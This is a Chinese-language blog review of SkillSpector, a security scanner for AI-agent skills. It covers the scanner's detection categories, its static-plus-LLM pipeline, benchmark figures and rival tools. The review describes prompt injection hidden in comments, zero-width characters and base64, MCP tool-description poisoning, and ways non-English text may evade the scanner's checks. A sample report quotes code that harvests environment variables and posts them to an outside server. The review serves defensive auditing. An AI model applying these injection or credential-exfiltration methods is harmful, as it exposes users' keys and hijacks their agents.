~/reviews · skillspector · 2026-06-13

cat README.md | head -20

SkillSpector

AI Agent 技能安全扫描器。64 种漏洞检测模式、16 大类、两阶段管道(静态 + LLM)、污点跟踪、MCP 投毒检测、OSV.dev 实时 CVE。在装技能之前,先看看它安不安全。

Apache-2.0 Python Security MCP YARA Taint-Tracking LangGraph AST

// 目录

概览 真实问题 64 条规则 检测管道 实测 架构 竞品对比 性能数据 短板 综合评分 参考链接

// 概览

Stars
3,499
今日 +813 · 全站 AI 安全类最高涨幅
Forks
264
社区 Fork 活跃度中低
Open Issues
26
PRs: 14 · 项目早期积压偏高
Releases
无 GitHub Release · pyproject 2.1.3
Commits
16
创建 2026-03-21 · 约 3 个月
Language
Python
Python 97.4% · YARA 2.2% · Python 3.12+

// 我装了几百个 AI 技能,从来没想过安全问题

我每天跑 GitHub AI 日报快三个月了,装过的 AI 技能没有一百也有八十。Claude Code 的 SKILL.md、Cursor 的 manifest、各种 MCP 工具包——看到有意思的就装,从来不觉得有什么问题。

直到看到 NVIDIA 这篇论文的数据,我才后背发凉。

NVIDIA 的研究团队爬了两大技能市场的 42,447 个 AI 技能,用自研的 SkillScan 框架对其中 31,132 个做了系统分析。结果:26.1% 的技能至少含有一个安全漏洞5.2% 显示强烈的恶意意图

更让人不安的是:包含可执行脚本的技能,出现漏洞的概率是纯指令类技能的 2.12 倍

想一想——我每天装的那些带脚本的技能,每一个都可能是一个潜在的攻击面。os.environ 收集你的 API Key、requests.post() 把你的对话上下文发到外部服务器、exec() 直接执行任意代码——这些东西藏在 SKILL.md 的 scripts 目录里,你装的时候根本不会去翻。

这就是 NVIDIA 为什么要做 SkillSpector。它不是一个 AI 工具,它是一个安全审计工具,专门针对 AI Agent 技能这个新兴攻击面。


// 64 条规则拆开看:有些模式让你后背发凉

SkillSpector 内置了 64 种漏洞检测模式,分成 16 个大类。每一类都对应论文中发现的真实攻击类型。挑几个最让人不安的说:

提示注入(P1-P5)

大家不陌生,但关键是 P2(隐藏指令)——攻击者把恶意命令写在 HTML 注释里、零宽字符里、base64 编码里,你肉眼根本看不出来。P5(有害内容)是唯一的 CRITICAL 级别提示注入模式——可能直接导致物理伤害。

数据渗出(E1-E4)

E2(环境变量收割)是所有 AI 技能里最常见的攻击手段之一——一行 for key, val in os.environ.items() 就能把你所有的 API Key 收走,再配合 E1(外部传输)requests.post() 发出去。论文数据里,数据渗出占比 13.3%,是第二大漏洞类型。

污点跟踪(TT1-TT5)

这是最硬核的部分。SkillSpector 不只是做简单的关键字匹配,它会做数据流追踪:你的环境变量从哪来、流到哪里去、中间有没有经过净化。TT3(凭证渗出链)和 TT5(外部输入到代码执行)都是 CRITICAL 级别——从「拿到你的密钥」到「把密钥发出去」的完整攻击链。

MCP 工具投毒(TP1-TP4)

这个分类我之前没见过。TP1 检测工具元数据里的隐藏指令(HTML 注释、零宽字符、base64),TP2 检测 Unicode 欺骗(同形字、RTL 覆盖),TP3 检测参数描述注入,TP4 检测描述与行为不一致。四个模式直接针对 MCP 协议这个新出现的安全盲区,而且是 LLM 驱动的检测——TP4 必须用 LLM 才能判断「描述说的和代码做的是不是一回事」。

行为 AST 分析(AST1-AST8)

直接分析 Python AST,找 exec()eval()subprocessos.system 这些危险调用。AST8(危险执行链)是 CRITICAL——exec() 加上来自网络或编码数据的动态源,等于给攻击者开了个任意代码执行的后门。

YARA 签名(YR1-YR4)

直接用 YARA 规则匹配已知恶意软件、Webshell、加密挖矿程序和黑客工具。已经不是「AI 安全」了,这是传统安全领域的方法论直接搬过来用。

完整 16 大类一览:提示注入、数据渗出、权限提升、供应链、过度代理、输出处理、系统提示泄露、内存毒化、工具滥用、流氓 Agent、触发器滥用、行为 AST、污点跟踪、YARA 签名、MCP 最小权限、MCP 工具投毒。


// 两阶段检测:静态分析快,LLM 语义分析准

SkillSpector 的检测管道分两个阶段:

阶段一:静态分析。11 个静态分析器并行跑,包括正则匹配、AST 分析、YARA 规则、OSV.dev 实时 CVE 查询。速度快,召回率高——大部分问题在这一步就能抓到。但误报也多,因为静态分析不理解上下文。

阶段二:LLM 语义分析(可选)。把阶段一的结果喂给 LLM,让它判断「这个到底是真漏洞还是误报」。论文报告精确率从静态分析的约 60% 提升到 86.7%,召回率 82.5%。LLM 提示自带反越狱保护——防止恶意技能反过来操纵分析过程。

这个两阶段设计是实用的。纯静态太吵,纯 LLM 太慢还费钱。先粗筛再精排,跟安全团队的工作流一致。


// 实测:扫描一个技能只需几秒

安装和基本使用很直接:

# 克隆安装 git clone https://github.com/NVIDIA/skillspector.git cd skillspector uv venv .venv && source .venv/bin/activate make install # 扫描一个技能目录 skillspector scan ./my-skill/ # 只跑静态分析,不用 LLM skillspector scan ./my-skill/ --no-llm # 输出 SARIF 格式,用于 CI/CD skillspector scan ./my-skill/ --format sarif --output report.sarif # 使用 Anthropic 做语义分析 export SKILLSPECTOR_PROVIDER=anthropic export ANTHROPIC_API_KEY=sk-ant-... skillspector scan ./my-skill/

输出示例:

SkillSpector Security Report v2.1.3 Skill: suspicious-skill Source: ./suspicious-skill/ Scanned: 2026-06-13 08:30:00 UTC Risk Assessment Metric Value Score 78/100 Severity HIGH Recommendation DO NOT INSTALL Issues (2) HIGH: Env Variable Harvesting (E2) Location: scripts/sync.py:23 Finding: for key, val in os.environ.items():... Confidence: 94% Explanation: This code collects environment variables containing API keys and secrets, then sends them to an external server. HIGH: External Transmission (E1) Location: scripts/sync.py:45 Finding: requests.post("https://api.skill.io/env"... Confidence: 89%

风险评分系统很直观:CRITICAL +50 分、HIGH +25 分、MEDIUM +10 分、LOW +5 分,有可执行脚本再乘 1.3x。0-20 LOW(安全)、21-50 MEDIUM(谨慎)、51-100 HIGH/CRITICAL(不要安装)。

还有一个细节我觉得很到位:OSV.dev 实时 CVE 查询。SC4 规则不是靠内置的漏洞列表,而是实时查 OSV.dev 的 API——覆盖 PyPI 和 npm 上数万个公告。离线环境自动降级到小型内置列表。你的依赖里如果有刚披露的 CVE,它也能抓到。


// 架构:四步扫描流水线

📂
技能输入Git/URL/Zip/Dir/File
🔍
静态分析11 个分析器 · AST/YARA/RegEx/OSV
🧠
LLM 语义分析误报过滤 · 86.7% 精确率
📊
风险报告0-100 评分 · SARIF/JSON/MD
底层基于 LangGraph 工作流引擎 · 支持三种 LLM Provider(OpenAI/Anthropic/NVIDIA)· 可选 Ollama 本地模型

// 竞品对比

NVIDIA 不是唯一做 AI 技能安全扫描的。Cisco 在 2026 年 1 月就发布了 skill-scanner(2.2K Stars,v2.0.11),OWASP 在 2026 年初启动了 Agentic Skills Top 10 安全框架。三个项目放在一起看:

维度NVIDIA SkillSpectorCisco skill-scannerOWASP AST10
定位安全扫描工具安全扫描工具安全框架/标准
检测模式64 种 / 16 大类8 个分析器10 类风险定义
独有能力污点跟踪 · MCP 投毒VirusTotal · AI Defense通用技能格式提案
LLM 分析OpenAI/Anthropic/NVIDIA+ AWS/Google/AzureN/A
输出格式Terminal/JSON/MD/SARIF+HTMLN/A
CI/CDSARIF 可对接GitHub Actions + pre-commit检查清单
误报处理LLM 语义过滤元分析器 + LLM 共识建议语义+行为检测
Python3.12+3.10+N/A
安装git clone + makepip install 一行文档下载
正式 Releasev2.0.11v1.0-2026(孵化中)
许可证Apache 2.0Apache 2.0CC BY-SA 4.0

SkillSpector 的优势在深度。64 种检测模式覆盖了 AI 技能安全的几乎所有维度,特别是 MCP 相关的 8 种模式(LP1-LP4 + TP1-TP4),目前没有其他工具做这个。污点跟踪(TT1-TT5)也是独有的。如果你特别关心 MCP 安全——而且你应该关心,因为 MCP 正在成为 Agent 通信的事实标准——SkillSpector 是唯一的选择。

Cisco skill-scanner 的优势在成熟度。更早发布、有正式 Release、安装更简单、CI/CD 集成更完善。LLM 共识模式是个聪明的抗误报设计。VirusTotal 和 AI Defense 云端分析是 SkillSpector 没有的能力。

最好的用法?两个都装。SkillSpector 扫 MCP 漏洞和污点追踪,Cisco skill-scanner 扫恶意软件和做 CI 集成。它们互补,不冲突。

OWASP AST10不是工具,是安全框架。它定义了 10 类 Agent 技能安全风险(AST01 恶意技能到 AST10 跨平台复用风险),还提出了一个「通用技能格式」提案——想用签名验证 + 权限白名单 + Merkle 根透明日志从协议层面解决安全问题。方向是对的,但还在孵化阶段,Q4 2026 才会出 v1.0 正式版。


// 检测性能数据

静态分析精确率
~60%
+ LLM 精确率
86.7%
+ LLM 召回率
82.5%
含漏洞技能占比
26.1%
恶意意图占比
5.2%
脚本类漏洞倍率
2.12x

数据来源:Liu et al. (2026) "Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale",样本量 42,447 个技能。漏洞类型分布:数据渗出 13.3%、权限提升 11.8%、提示注入和供应链风险紧随其后。


// 不是没有短板

Bus Factor ≈ 2。项目 16 个 commit,核心就两个人。keshprad 贡献 11 个 commit,wernerkasselman-au 贡献 1 个。NVIDIA 出品不代表 NVIDIA 投入了很多人——更像是一个小团队的内部项目开放源码。

没有正式 Release。pyproject.toml 里版本号已经到 2.1.3 了,但 GitHub Releases 页面是空的。没有版本标签、没有变更日志。对于一个安全工具来说,这是不可忽视的问题——你怎么确保你用的版本是经过测试的?

CI/CD 集成缺失。没有 GitHub Actions、没有 pre-commit 钩子。虽然 SARIF 输出格式可以对接 CI 工具,但你需要自己写集成脚本。Cisco 的 skill-scanner 在这方面做得好太多。

26 个 Open Issues + 14 个 Open PR。对于只有 16 个 commit 的项目来说,这个积压比例有点高。TP3 的修复刚刚合并(6 月 10 日),说明一些检测模式还在调试中。

非英语内容盲区。论文明确说了,SkillSpector 可能遗漏非英语技能中的模式。对中文用户来说这是个实际限制——国内 AI 社区的技能用中文写指令注入,可能绕过正则匹配。

没有动态分析。纯静态 + LLM,不会真正执行代码。一些运行时行为(条件触发、延迟执行)静态分析是看不到的。

Python 3.12+ 门槛。Cisco skill-scanner 只要求 3.10+。很多服务器还在跑 3.10 或 3.11,这一条可能就拦住一些人。


// 综合评分

Verdict
8.5
/ 10 — 方向对了,成熟度还不够
✅ 64 种检测模式 + 16 大类,覆盖面目前最广
✅ 污点跟踪和 MCP 工具投毒是独有能力
✅ 论文支撑,不是拍脑袋设计的规则
✅ OSV.dev 实时 CVE 查询
✅ 两阶段检测(静态 + LLM)实用且有效
✅ Apache 2.0 可商用 · NVIDIA 出品企业背书
❌ Bus Factor ≈ 2,核心维护人太少
❌ 没有正式 GitHub Release
❌ 没有 CI/CD 集成
❌ Python 3.12+ 门槛偏高
❌ 非英语内容检测有盲区
❌ 26 Issues / 14 PRs 积压
❌ 没有动态分析能力

// 跟我在做的事有什么关系

我每天跑的 GitHub AI 日报自动化,本身就是一个 AI Agent 技能的消费者。WebFetch 技能、文件操作技能、Obsidian 同步技能——每一个都在我的本地环境里执行。如果其中任何一个被植入恶意代码,它理论上可以读取我的 .env 文件、把我的 API Key 发到外部服务器、或者修改我的 Obsidian 笔记。

这不是假想的风险。论文里 13.3% 的技能有数据渗出漏洞,5.2% 有恶意意图。我装了快三个月的技能,从来没有扫描过任何一个。

SkillSpector 给了我一个很实际的启示:AI Agent 的安全不是「未来问题」,是「现在问题」。我们每天讨论 Agent 能不能做更多事,但很少有人问——你装的那些技能,你真的信任吗?

OWASP 在 2026 年初就紧急启动了 Agentic Skills Top 10 项目。ClawHavoc 事件(1184 个恶意技能)、ClawHub 仓库污染、Snyk 检测到 280+ 个泄露 API Key 的技能——都是 2025-2026 年的真实案例。

我接下来的计划:先把每天评测的项目过一遍 SkillSpector,看看我自己装的东西到底安不安全。如果发现什么有意思的结果,会单独写一篇。


NVIDIA/SkillSpector — 项目仓库

Cisco skill-scanner — 竞品参考

OWASP Agentic Skills Top 10 — 安全框架

Liu et al., "Agent Skills in the Wild: An Empirical Study of Security Vulnerabilities at Scale", 2026 — 论文

OSV.dev — 开源漏洞数据库


SkillSpector 不是完美的安全方案——论文自己也说了,86.7% 的精确率意味着 13.3% 的误报或漏报。但它是目前唯一深度覆盖 MCP 安全和污点追踪的工具,方向是对的。AI Agent 的安全审计会变成标配,就像 npm audit 之于 Node.js 项目。

我会持续记录一个每天跑 GitHub AI 日报的人如何用 AI 工具、踩什么坑、做出什么判断。如果你也关心 AI 安全这件事,关注我,我们一起往前试。